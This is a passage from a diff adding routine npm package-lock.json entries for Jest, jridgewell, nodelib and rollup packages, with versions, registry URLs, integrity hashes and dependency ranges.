+      }
+    },
+    "node_modules/@jest/reporters": {
+      "version": "27.5.1",
+      "resolved": "https://registry.npmjs.org/@jest/reporters/-/reporters-27.5.1.tgz",
+      "integrity": "sha512-cPXh9hWIlVJMQkVk84aIvXuBB4uQQmFqZiacloFuGiP3ah1sbCxCosidXFDfqG8+6fO1oR2dTJTlsOy4VFmUfw==",
+      "dependencies": {
+        "@bcoe/v8-coverage": "^0.2.3",
+        "@jest/console": "^27.5.1",
+        "@jest/test-result": "^27.5.1",
+        "@jest/transform": "^27.5.1",
+        "@jest/types": "^27.5.1",
+        "@types/node": "*",
+        "chalk": "^4.0.0",
+        "collect-v8-coverage": "^1.0.0",
+        "exit": "^0.1.2",
+        "glob": "^7.1.2",
+        "graceful-fs": "^4.2.9",
+        "istanbul-lib-coverage": "^3.0.0",
+        "istanbul-lib-instrument": "^5.1.0",
+        "istanbul-lib-report": "^3.0.0",
+        "istanbul-lib-source-maps": "^4.0.0",
+        "istanbul-reports": "^3.1.3",
+        "jest-haste-map": "^27.5.1",
+        "jest-resolve": "^27.5.1",
+        "jest-util": "^27.5.1",
+        "jest-worker": "^27.5.1",
+        "slash": "^3.0.0",
+        "source-map": "^0.6.0",
+        "string-length": "^4.0.1",
+        "terminal-link": "^2.0.0",
+        "v8-to-istanbul": "^8.1.0"
+      },
+      "engines": {
+        "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
+      },
+      "peerDependencies": {
+        "node-notifier": "^8.0.1 || ^9.0.0 || ^10.0.0"
+      },
+      "peerDependenciesMeta": {
+        "node-notifier": {
+          "optional": true
+        }
+      }
+    },
+    "node_modules/@jest/reporters/node_modules/@jest/types": {
+      "version": "27.5.1",
+      "resolved": "https://registry.npmjs.org/@jest/types/-/types-27.5.1.tgz",
+      "integrity": "sha512-Cx46iJ9QpwQTjIdq5VJu2QTMMs3QlEjI0x1QbBP5W1+nMzyc2XmimiRR/CbX9TO0cPTeUlxWMOu8mslYsJ8DEw==",
+      "dependencies": {
+        "@types/istanbul-lib-coverage": "^2.0.0",
+        "@types/istanbul-reports": "^3.0.0",
+        "@types/node": "*",
+        "@types/yargs": "^16.0.0",
+        "chalk": "^4.0.0"
+      },
+      "engines": {
+        "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
+      }
+    },
+    "node_modules/@jest/reporters/node_modules/@types/istanbul-reports": {
+      "version": "3.0.1",
+      "resolved": "https://registry.npmjs.org/@types/istanbul-reports/-/istanbul-reports-3.0.1.tgz",
+      "integrity": "sha512-c3mAZEuK0lvBp8tmuL74XRKn1+y2dcwOUpH7x4WrF6gk1GIgiluDRgMYQtw2OFcBvAJWlt6ASU3tSqxp0Uu0Aw==",
+      "dependencies": {
+        "@types/istanbul-lib-report": "*"
+      }
+    },
+    "node_modules/@jest/reporters/node_modules/@types/yargs": {
+      "version": "16.0.4",
+      "resolved": "https://registry.npmjs.org/@types/yargs/-/yargs-16.0.4.tgz",
+      "integrity": "sha512-T8Yc9wt/5LbJyCaLiHPReJa0kApcIgJ7Bn735GjItUfh08Z1pJvu8QZqb9s+mMvKV6WUQRV7K2R46YbjMXTTJw==",
+      "dependencies": {
+        "@types/yargs-parser": "*"
+      }
+    },
+    "node_modules/@jest/reporters/node_modules/ansi-styles": {
+      "version": "4.3.0",
+      "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz",
+      "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==",
+      "dependencies": {
+        "color-convert": "^2.0.1"
+      },
+      "engines": {
+        "node": ">=8"
+      },
+      "funding": {
+        "url": "https://github.com/chalk/ansi-styles?sponsor=1"
+      }
+    },
+    "node_modules/@jest/reporters/node_modules/chalk": {
+      "version": "4.1.2",
+      "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz",
+      "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==",
+      "dependencies": {
+        "ansi-styles": "^4.1.0",
+        "supports-color": "^7.1.0"
+      },
+      "engines": {
+        "node": ">=10"
+      },
+      "funding": {
+        "url": "https://github.com/chalk/chalk?sponsor=1"
+      }
+    },
+    "node_modules/@jest/reporters/node_modules/color-convert": {
+      "version": "2.0.1",
+      "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz",
+      "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==",
+      "dependencies": {
+        "color-name": "~1.1.4"
+      },
+      "engines": {
+        "node": ">=7.0.0"
+      }
+    },
+    "node_modules/@jest/reporters/node_modules/color-name": {
+      "version": "1.1.4",
+      "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz",
+      "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA=="
+    },
+    "node_modules/@jest/reporters/node_modules/has-flag": {
+      "version": "4.0.0",
+      "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz",
+      "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==",
+      "engines": {
+        "node": ">=8"
+      }
+    },
+    "node_modules/@jest/reporters/node_modules/supports-color": {
+      "version": "7.2.0",
+      "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz",
+      "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==",
+      "dependencies": {
+        "has-flag": "^4.0.0"
+      },
+      "engines": {
+        "node": ">=8"
+      }
+    },
+    "node_modules/@jest/schemas": {
+      "version": "28.1.3",
+      "resolved": "https://registry.npmjs.org/@jest/schemas/-/schemas-28.1.3.tgz",
+      "integrity": "sha512-/l/VWsdt/aBXgjshLWOFyFt3IVdYypu5y2Wn2rOO1un6nkqIn8SLXzgIMYXFyYsRWDyF5EthmKJMIdJvk08grg==",
+      "dependencies": {
+        "@sinclair/typebox": "^0.24.1"
+      },
+      "engines": {
+        "node": "^12.13.0 || ^14.15.0 || ^16.10.0 || >=17.0.0"
+      }
+    },
+    "node_modules/@jest/source-map": {
+      "version": "27.5.1",
+      "resolved": "https://registry.npmjs.org/@jest/source-map/-/source-map-27.5.1.tgz",
+      "integrity": "sha512-y9NIHUYF3PJRlHk98NdC/N1gl88BL08aQQgu4k4ZopQkCw9t9cV8mtl3TV8b/YCB8XaVTFrmUTAJvjsntDireg==",
+      "dependencies": {
+        "callsites": "^3.0.0",
+        "graceful-fs": "^4.2.9",
+        "source-map": "^0.6.0"
+      },
+      "engines": {
+        "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
+      }
+    },
+    "node_modules/@jest/test-result": {
+      "version": "27.5.1",
+      "resolved": "https://registry.npmjs.org/@jest/test-result/-/test-result-27.5.1.tgz",
+      "integrity": "sha512-EW35l2RYFUcUQxFJz5Cv5MTOxlJIQs4I7gxzi2zVU7PJhOwfYq1MdC5nhSmYjX1gmMmLPvB3sIaC+BkcHRBfag==",
+      "dependencies": {
+        "@jest/console": "^27.5.1",
+        "@jest/types": "^27.5.1",
+        "@types/istanbul-lib-coverage": "^2.0.0",
+        "collect-v8-coverage": "^1.0.0"
+      },
+      "engines": {
+        "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
+      }
+    },
+    "node_modules/@jest/test-result/node_modules/@jest/types": {
+      "version": "27.5.1",
+      "resolved": "https://registry.npmjs.org/@jest/types/-/types-27.5.1.tgz",
+      "integrity": "sha512-Cx46iJ9QpwQTjIdq5VJu2QTMMs3QlEjI0x1QbBP5W1+nMzyc2XmimiRR/CbX9TO0cPTeUlxWMOu8mslYsJ8DEw==",
+      "dependencies": {
+        "@types/istanbul-lib-coverage": "^2.0.0",
+        "@types/istanbul-reports": "^3.0.0",
+        "@types/node": "*",
+        "@types/yargs": "^16.0.0",
+        "chalk": "^4.0.0"
+      },
+      "engines": {
+        "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
+      }
+    },
+    "node_modules/@jest/test-result/node_modules/@types/istanbul-reports": {
+      "version": "3.0.1",
+      "resolved": "https://registry.npmjs.org/@types/istanbul-reports/-/istanbul-reports-3.0.1.tgz",
+      "integrity": "sha512-c3mAZEuK0lvBp8tmuL74XRKn1+y2dcwOUpH7x4WrF6gk1GIgiluDRgMYQtw2OFcBvAJWlt6ASU3tSqxp0Uu0Aw==",
+      "dependencies": {
+        "@types/istanbul-lib-report": "*"
+      }
+    },
+    "node_modules/@jest/test-result/node_modules/@types/yargs": {
+      "version": "16.0.4",
+      "resolved": "https://registry.npmjs.org/@types/yargs/-/yargs-16.0.4.tgz",
+      "integrity": "sha512-T8Yc9wt/5LbJyCaLiHPReJa0kApcIgJ7Bn735GjItUfh08Z1pJvu8QZqb9s+mMvKV6WUQRV7K2R46YbjMXTTJw==",
+      "dependencies": {
+        "@types/yargs-parser": "*"
+      }
+    },
+    "node_modules/@jest/test-result/node_modules/ansi-styles": {
+      "version": "4.3.0",
+      "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz",
+      "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==",
+      "dependencies": {
+        "color-convert": "^2.0.1"
+      },
+      "engines": {
+        "node": ">=8"
+      },
+      "funding": {
+        "url": "https://github.com/chalk/ansi-styles?sponsor=1"
+      }
+    },
+    "node_modules/@jest/test-result/node_modules/chalk": {
+      "version": "4.1.2",
+      "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz",
+      "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==",
+      "dependencies": {
+        "ansi-styles": "^4.1.0",
+        "supports-color": "^7.1.0"
+      },
+      "engines": {
+        "node": ">=10"
+      },
+      "funding": {
+        "url": "https://github.com/chalk/chalk?sponsor=1"
+      }
+    },
+    "node_modules/@jest/test-result/node_modules/color-convert": {
+      "version": "2.0.1",
+      "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz",
+      "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==",
+      "dependencies": {
+        "color-name": "~1.1.4"
+      },
+      "engines": {
+        "node": ">=7.0.0"
+      }
+    },
+    "node_modules/@jest/test-result/node_modules/color-name": {
+      "version": "1.1.4",
+      "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz",
+      "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA=="
+    },
+    "node_modules/@jest/test-result/node_modules/has-flag": {
+      "version": "4.0.0",
+      "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz",
+      "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==",
+      "engines": {
+        "node": ">=8"
+      }
+    },
+    "node_modules/@jest/test-result/node_modules/supports-color": {
+      "version": "7.2.0",
+      "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz",
+      "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==",
+      "dependencies": {
+        "has-flag": "^4.0.0"
+      },
+      "engines": {
+        "node": ">=8"
+      }
+    },
+    "node_modules/@jest/test-sequencer": {
+      "version": "27.5.1",
+      "resolved": "https://registry.npmjs.org/@jest/test-sequencer/-/test-sequencer-27.5.1.tgz",
+      "integrity": "sha512-LCheJF7WB2+9JuCS7VB/EmGIdQuhtqjRNI9A43idHv3E4KltCTsPsLxvdaubFHSYwY/fNjMWjl6vNRhDiN7vpQ==",
+      "dependencies": {
+        "@jest/test-result": "^27.5.1",
+        "graceful-fs": "^4.2.9",
+        "jest-haste-map": "^27.5.1",
+        "jest-runtime": "^27.5.1"
+      },
+      "engines": {
+        "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
+      }
+    },
+    "node_modules/@jest/transform": {
+      "version": "27.5.1",
+      "resolved": "https://registry.npmjs.org/@jest/transform/-/transform-27.5.1.tgz",
+      "integrity": "sha512-ipON6WtYgl/1329g5AIJVbUuEh0wZVbdpGwC99Jw4LwuoBNS95MVphU6zOeD9pDkon+LLbFL7lOQRapbB8SCHw==",
+      "dependencies": {
+        "@babel/core": "^7.1.0",
+        "@jest/types": "^27.5.1",
+        "babel-plugin-istanbul": "^6.1.1",
+        "chalk": "^4.0.0",
+        "convert-source-map": "^1.4.0",
+        "fast-json-stable-stringify": "^2.0.0",
+        "graceful-fs": "^4.2.9",
+        "jest-haste-map": "^27.5.1",
+        "jest-regex-util": "^27.5.1",
+        "jest-util": "^27.5.1",
+        "micromatch": "^4.0.4",
+        "pirates": "^4.0.4",
+        "slash": "^3.0.0",
+        "source-map": "^0.6.1",
+        "write-file-atomic": "^3.0.0"
+      },
+      "engines": {
+        "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
+      }
+    },
+    "node_modules/@jest/transform/node_modules/@jest/types": {
+      "version": "27.5.1",
+      "resolved": "https://registry.npmjs.org/@jest/types/-/types-27.5.1.tgz",
+      "integrity": "sha512-Cx46iJ9QpwQTjIdq5VJu2QTMMs3QlEjI0x1QbBP5W1+nMzyc2XmimiRR/CbX9TO0cPTeUlxWMOu8mslYsJ8DEw==",
+      "dependencies": {
+        "@types/istanbul-lib-coverage": "^2.0.0",
+        "@types/istanbul-reports": "^3.0.0",
+        "@types/node": "*",
+        "@types/yargs": "^16.0.0",
+        "chalk": "^4.0.0"
+      },
+      "engines": {
+        "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
+      }
+    },
+    "node_modules/@jest/transform/node_modules/@types/istanbul-reports": {
+      "version": "3.0.1",
+      "resolved": "https://registry.npmjs.org/@types/istanbul-reports/-/istanbul-reports-3.0.1.tgz",
+      "integrity": "sha512-c3mAZEuK0lvBp8tmuL74XRKn1+y2dcwOUpH7x4WrF6gk1GIgiluDRgMYQtw2OFcBvAJWlt6ASU3tSqxp0Uu0Aw==",
+      "dependencies": {
+        "@types/istanbul-lib-report": "*"
+      }
+    },
+    "node_modules/@jest/transform/node_modules/@types/yargs": {
+      "version": "16.0.4",
+      "resolved": "https://registry.npmjs.org/@types/yargs/-/yargs-16.0.4.tgz",
+      "integrity": "sha512-T8Yc9wt/5LbJyCaLiHPReJa0kApcIgJ7Bn735GjItUfh08Z1pJvu8QZqb9s+mMvKV6WUQRV7K2R46YbjMXTTJw==",
+      "dependencies": {
+        "@types/yargs-parser": "*"
+      }
+    },
+    "node_modules/@jest/transform/node_modules/ansi-styles": {
+      "version": "4.3.0",
+      "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz",
+      "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==",
+      "dependencies": {
+        "color-convert": "^2.0.1"
+      },
+      "engines": {
+        "node": ">=8"
+      },
+      "funding": {
+        "url": "https://github.com/chalk/ansi-styles?sponsor=1"
+      }
+    },
+    "node_modules/@jest/transform/node_modules/chalk": {
+      "version": "4.1.2",
+      "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz",
+      "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==",
+      "dependencies": {
+        "ansi-styles": "^4.1.0",
+        "supports-color": "^7.1.0"
+      },
+      "engines": {
+        "node": ">=10"
+      },
+      "funding": {
+        "url": "https://github.com/chalk/chalk?sponsor=1"
+      }
+    },
+    "node_modules/@jest/transform/node_modules/color-convert": {
+      "version": "2.0.1",
+      "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz",
+      "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==",
+      "dependencies": {
+        "color-name": "~1.1.4"
+      },
+      "engines": {
+        "node": ">=7.0.0"
+      }
+    },
+    "node_modules/@jest/transform/node_modules/color-name": {
+      "version": "1.1.4",
+      "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz",
+      "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA=="
+    },
+    "node_modules/@jest/transform/node_modules/has-flag": {
+      "version": "4.0.0",
+      "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz",
+      "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==",
+      "engines": {
+        "node": ">=8"
+      }
+    },
+    "node_modules/@jest/transform/node_modules/supports-color": {
+      "version": "7.2.0",
+      "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz",
+      "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==",
+      "dependencies": {
+        "has-flag": "^4.0.0"
+      },
+      "engines": {
+        "node": ">=8"
+      }
+    },
+    "node_modules/@jest/types": {
+      "version": "24.9.0",
+      "resolved": "https://registry.npmjs.org/@jest/types/-/types-24.9.0.tgz",
+      "integrity": "sha512-XKK7ze1apu5JWQ5eZjHITP66AX+QsLlbaJRBGYr8pNzwcAE2JVkwnf0yqjHTsDRcjR0mujy/NmZMXw5kl+kGBw==",
+      "dependencies": {
+        "@types/istanbul-lib-coverage": "^2.0.0",
+        "@types/istanbul-reports": "^1.1.1",
+        "@types/yargs": "^13.0.0"
+      },
+      "engines": {
+        "node": ">= 6"
+      }
+    },
+    "node_modules/@jridgewell/gen-mapping": {
+      "version": "0.1.1",
+      "resolved": "https://registry.npmjs.org/@jridgewell/gen-mapping/-/gen-mapping-0.1.1.tgz",
+      "integrity": "sha512-sQXCasFk+U8lWYEe66WxRDOE9PjVz4vSM51fTu3Hw+ClTpUSQb718772vH3pyS5pShp6lvQM7SxgIDXXXmOX7w==",
+      "dependencies": {
+        "@jridgewell/set-array": "^1.0.0",
+        "@jridgewell/sourcemap-codec": "^1.4.10"
+      },
+      "engines": {
+        "node": ">=6.0.0"
+      }
+    },
+    "node_modules/@jridgewell/resolve-uri": {
+      "version": "3.1.0",
+      "resolved": "https://registry.npmjs.org/@jridgewell/resolve-uri/-/resolve-uri-3.1.0.tgz",
+      "integrity": "sha512-F2msla3tad+Mfht5cJq7LSXcdudKTWCVYUgw6pLFOOHSTtZlj6SWNYAp+AhuqLmWdBO2X5hPrLcu8cVP8fy28w==",
+      "engines": {
+        "node": ">=6.0.0"
+      }
+    },
+    "node_modules/@jridgewell/set-array": {
+      "version": "1.2.1",
+      "resolved": "https://registry.npmjs.org/@jridgewell/set-array/-/set-array-1.2.1.tgz",
+      "integrity": "sha512-R8gLRTZeyp03ymzP/6Lil/28tGeGEzhx1q2k703KGWRAI1VdvPIXdG70VJc2pAMw3NA6JKL5hhFu1sJX0Mnn/A==",
+      "engines": {
+        "node": ">=6.0.0"
+      }
+    },
+    "node_modules/@jridgewell/source-map": {
+      "version": "0.3.6",
+      "resolved": "https://registry.npmjs.org/@jridgewell/source-map/-/source-map-0.3.6.tgz",
+      "integrity": "sha512-1ZJTZebgqllO79ue2bm3rIGud/bOe0pP5BjSRCRxxYkEZS8STV7zN84UBbiYu7jy+eCKSnVIUgoWWE/tt+shMQ==",
+      "dependencies": {
+        "@jridgewell/gen-mapping": "^0.3.5",
+        "@jridgewell/trace-mapping": "^0.3.25"
+      }
+    },
+    "node_modules/@jridgewell/source-map/node_modules/@jridgewell/gen-mapping": {
+      "version": "0.3.5",
+      "resolved": "https://registry.npmjs.org/@jridgewell/gen-mapping/-/gen-mapping-0.3.5.tgz",
+      "integrity": "sha512-IzL8ZoEDIBRWEzlCcRhOaCupYyN5gdIK+Q6fbFdPDg6HqX6jpkItn7DFIpW9LQzXG6Df9sA7+OKnq0qlz/GaQg==",
+      "dependencies": {
+        "@jridgewell/set-array": "^1.2.1",
+        "@jridgewell/sourcemap-codec": "^1.4.10",
+        "@jridgewell/trace-mapping": "^0.3.24"
+      },
+      "engines": {
+        "node": ">=6.0.0"
+      }
+    },
+    "node_modules/@jridgewell/sourcemap-codec": {
+      "version": "1.4.14",
+      "resolved": "https://registry.npmjs.org/@jridgewell/sourcemap-codec/-/sourcemap-codec-1.4.14.tgz",
+      "integrity": "sha512-XPSJHWmi394fuUuzDnGz1wiKqWfo1yXecHQMRf2l6hztTO+nPru658AyDngaBe7isIxEkRsPR3FZh+s7iVa4Uw=="
+    },
+    "node_modules/@jridgewell/trace-mapping": {
+      "version": "0.3.25",
+      "resolved": "https://registry.npmjs.org/@jridgewell/trace-mapping/-/trace-mapping-0.3.25.tgz",
+      "integrity": "sha512-vNk6aEwybGtawWmy/PzwnGDOjCkLWSD2wqvjGGAgOAwCGWySYXfYoxt00IJkTF+8Lb57DwOb3Aa0o9CApepiYQ==",
+      "dependencies": {
+        "@jridgewell/resolve-uri": "^3.1.0",
+        "@jridgewell/sourcemap-codec": "^1.4.14"
+      }
+    },
+    "node_modules/@leichtgewicht/ip-codec": {
+      "version": "2.0.4",
+      "resolved": "https://registry.npmjs.org/@leichtgewicht/ip-codec/-/ip-codec-2.0.4.tgz",
+      "integrity": "sha512-Hcv+nVC0kZnQ3tD9GVu5xSMR4VVYOteQIr/hwFPVEvPdlXqgGEuRjiheChHgdM+JyqdgNcmzZOX/tnl0JOiI7A=="
+    },
+    "node_modules/@nicolo-ribaudo/eslint-scope-5-internals": {
+      "version": "5.1.1-v1",
+      "resolved": "https://registry.npmjs.org/@nicolo-ribaudo/eslint-scope-5-internals/-/eslint-scope-5-internals-5.1.1-v1.tgz",
+      "integrity": "sha512-54/JRvkLIzzDWshCWfuhadfrfZVPiElY8Fcgmg1HroEly/EDSszzhBAsarCux+D/kOslTRquNzuyGSmUSTTHGg==",
+      "dependencies": {
+        "eslint-scope": "5.1.1"
+      }
+    },
+    "node_modules/@nicolo-ribaudo/eslint-scope-5-internals/node_modules/eslint-scope": {
+      "version": "5.1.1",
+      "resolved": "https://registry.npmjs.org/eslint-scope/-/eslint-scope-5.1.1.tgz",
+      "integrity": "sha512-2NxwbF/hZ0KpepYN0cNbo+FN6XoK7GaHlQhgx/hIZl6Va0bF45RQOOwhLIy8lQDbuCiadSLCBnH2CFYquit5bw==",
+      "dependencies": {
+        "esrecurse": "^4.3.0",
+        "estraverse": "^4.1.1"
+      },
+      "engines": {
+        "node": ">=8.0.0"
+      }
+    },
+    "node_modules/@nicolo-ribaudo/eslint-scope-5-internals/node_modules/estraverse": {
+      "version": "4.3.0",
+      "resolved": "https://registry.npmjs.org/estraverse/-/estraverse-4.3.0.tgz",
+      "integrity": "sha512-39nnKffWz8xN1BU/2c79n9nB9HDzo0niYUqx6xyqUnyoAnQyyWpOTdZEeiCch8BBu515t4wp9ZmgVfVhn9EBpw==",
+      "engines": {
+        "node": ">=4.0"
+      }
+    },
+    "node_modules/@nodelib/fs.scandir": {
+      "version": "2.1.5",
+      "resolved": "https://registry.npmjs.org/@nodelib/fs.scandir/-/fs.scandir-2.1.5.tgz",
+      "integrity": "sha512-vq24Bq3ym5HEQm2NKCr3yXDwjc7vTsEThRDnkp2DK9p1uqLR+DHurm/NOTo0KG7HYHU7eppKZj3MyqYuMBf62g==",
+      "dependencies": {
+        "@nodelib/fs.stat": "2.0.5",
+        "run-parallel": "^1.1.9"
+      },
+      "engines": {
+        "node": ">= 8"
+      }
+    },
+    "node_modules/@nodelib/fs.stat": {
+      "version": "2.0.5",
+      "resolved": "https://registry.npmjs.org/@nodelib/fs.stat/-/fs.stat-2.0.5.tgz",
+      "integrity": "sha512-RkhPPp2zrqDAQA/2jNhnztcPAlv64XdhIp7a7454A5ovI7Bukxgt7MX7udwAu3zg1DcpPU0rz3VV1SeaqvY4+A==",
+      "engines": {
+        "node": ">= 8"
+      }
+    },
+    "node_modules/@nodelib/fs.walk": {
+      "version": "1.2.8",
+      "resolved": "https://registry.npmjs.org/@nodelib/fs.walk/-/fs.walk-1.2.8.tgz",
+      "integrity": "sha512-oGB+UxlgWcgQkgwo8GcEGwemoTFt3FIO9ababBmaGwXIoBKZ+GTy0pP185beGg7Llih/NSHSV2XAs1lnznocSg==",
+      "dependencies": {
+        "@nodelib/fs.scandir": "2.1.5",
+        "fastq": "^1.6.0"
+      },
+      "engines": {
+        "node": ">= 8"
+      }
+    },
+    "node_modules/@pmmmwh/react-refresh-webpack-plugin": {
+      "version": "0.5.7",
+      "resolved": "https://registry.npmjs.org/@pmmmwh/react-refresh-webpack-plugin/-/react-refresh-webpack-plugin-0.5.7.tgz",
+      "integrity": "sha512-bcKCAzF0DV2IIROp9ZHkRJa6O4jy7NlnHdWL3GmcUxYWNjLXkK5kfELELwEfSP5hXPfVL/qOGMAROuMQb9GG8Q==",
+      "dependencies": {
+        "ansi-html-community": "^0.0.8",
+        "common-path-prefix": "^3.0.0",
+        "core-js-pure": "^3.8.1",
+        "error-stack-parser": "^2.0.6",
+        "find-up": "^5.0.0",
+        "html-entities": "^2.1.0",
+        "loader-utils": "^2.0.0",
+        "schema-utils": "^3.0.0",
+        "source-map": "^0.7.3"
+      },
+      "engines": {
+        "node": ">= 10.13"
+      },
+      "peerDependencies": {
+        "@types/webpack": "4.x || 5.x",
+        "react-refresh": ">=0.10.0 <1.0.0",
+        "sockjs-client": "^1.4.0",
+        "type-fest": ">=0.17.0 <3.0.0",
+        "webpack": ">=4.43.0 <6.0.0",
+        "webpack-dev-server": "3.x || 4.x",
+        "webpack-hot-middleware": "2.x",
+        "webpack-plugin-serve": "0.x || 1.x"
+      },
+      "peerDependenciesMeta": {
+        "@types/webpack": {
+          "optional": true
+        },
+        "sockjs-client": {
+          "optional": true
+        },
+        "type-fest": {
+          "optional": true
+        },
+        "webpack-dev-server": {
+          "optional": true
+        },
+        "webpack-hot-middleware": {
+          "optional": true
+        },
+        "webpack-plugin-serve": {
+          "optional": true
+        }
+      }
+    },
+    "node_modules/@pmmmwh/react-refresh-webpack-plugin/node_modules/source-map": {
+      "version": "0.7.4",
+      "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.7.4.tgz",
+      "integrity": "sha512-l3BikUxvPOcn5E74dZiq5BGsTb5yEwhaTSzccU6t4sDOH8NWJCstKO5QT2CvtFoK6F0saL7p9xHAqHOlCPJygA==",
+      "engines": {
+        "node": ">= 8"
+      }
+    },
+    "node_modules/@rollup/plugin-babel": {
+      "version": "5.3.1",
+      "resolved": "https://registry.npmjs.org/@rollup/plugin-babel/-/plugin-babel-5.3.1.tgz",
+      "integrity": "sha512-WFfdLWU/xVWKeRQnKmIAQULUI7Il0gZnBIH/ZFO069wYIfPu+8zrfp/KMW0atmELoRDq8FbiP3VCss9MhCut7Q==",
+      "dependencies": {
+        "@babel/helper-module-imports": "^7.10.4",
+        "@rollup/pluginutils": "^3.1.0"
+      },
+      "engines": {
+        "node": ">= 10.0.0"
+      },
+      "peerDependencies": {
+        "@babel/core": "^7.0.0",
+        "@types/babel__core": "^7.1.9",
+        "rollup": "^1.20.0||^2.0.0"
+      },
+      "peerDependenciesMeta": {
+        "@types/babel__core": {
+          "optional": true
+        }
+      }
+    },
+    "node_modules/@rollup/plugin-node-resolve": {
+      "version": "11.2.1",
+      "resolved": "https://registry.npmjs.org/@rollup/plugin-node-resolve/-/plugin-node-resolve-11.2.1.tgz",
+      "integrity": "sha512-yc2n43jcqVyGE2sqV5/YCmocy9ArjVAP/BeXyTtADTBBX6V0e5UMqwO8CdQ0kzjb6zu5P1qMzsScCMRvE9OlVg==",
+      "dependencies": {
+        "@rollup/pluginutils": "^3.1.0",
+        "@types/resolve": "1.17.1",
+        "builtin-modules": "^3.1.0",
+        "deepmerge": "^4.2.2",
+        "is-module": "^1.0.0",
+        "resolve": "^1.19.0"
+      },
+      "engines": {
+        "node": ">= 10.0.0"
+      },
+      "peerDependencies": {
+        "rollup": "^1.20.0||^2.0.0"
+      }
+    },
+    "node_modules/@rollup/plugin-replace": {
+      "version": "2.4.2",
+      "resolved": "https://registry.npmjs.org/@rollup/plugin-replace/-/plugin-replace-2.4.2.tgz",
